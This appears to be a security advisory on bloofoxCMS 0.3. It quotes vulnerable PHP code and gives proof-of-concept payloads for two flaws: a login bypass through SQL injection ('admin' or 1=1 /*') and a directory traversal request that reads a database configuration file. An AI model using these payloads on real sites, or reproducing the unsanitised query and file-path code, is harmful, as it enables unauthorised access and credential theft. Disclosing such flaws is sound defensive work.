+-->SQL Injection (authentication bypass)

Code Snippet:
index.php Line#107-116

if(isset($_POST['login']) || $_GET['login'] == "true") {
        if($perm->login($db,$_POST['username'],$_POST['password']) == 1) {
                $login_ok = 1;
                if($_GET['login'] == "true") {
                        load_url("index.php");
                }
        } else {
                $login_failed = 1;
        }
}

system/class_permissions.php Line#63-68
        function login($db,$user,$pass)
        {
                global $tbl_prefix;
                $pass = md5($pass);
		$db->query("SELECT uid,username,password,groups FROM  
".$tbl_prefix."sys_user WHERE username = '".$user."' && password =  
'".$pass."' && blocked = '0' && deleted = '0' && status = '1' ORDER BY  
username");
                $total = $db->num_rows();
                .
                .
                .


There is no input validation here therefore its possible for a remote  
attacker to bypass login mechanism when magic quotes is disabled!

POC :
Username: admin' or 1=1 /*
Password: something

+--> Source code disclosure

Code Snippet:
file.php Line#25-49

$file = $_GET['file'];

// Block external linkings
$HTTP_REFERER = $_SERVER['HTTP_REFERER'];
if(strpos($HTTP_REFERER,$_SERVER['SERVER_NAME']) == 0) {
        die("Forget It!");
}

$basedir = getcwd()."/media/files";

// create file name
$filename = sprintf("%s/%s", $basedir, $file);

// check file on server
if(!file_exists($filename)) {
        die("File not found!");
}

header("Content-Type: application/octet-stream");

$save_as_name = basename($file);
header("Content-Disposition: attachment; filename=\"".$save_as_name."\"");

// output
readfile($filename);

Input passed to the "file" parameter is not properly sanitised before  
being used.
This can be exploited to display arbitrary files through directory  
traversal attacks or by passing full paths.

POC:
GET:  
http://servername/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php
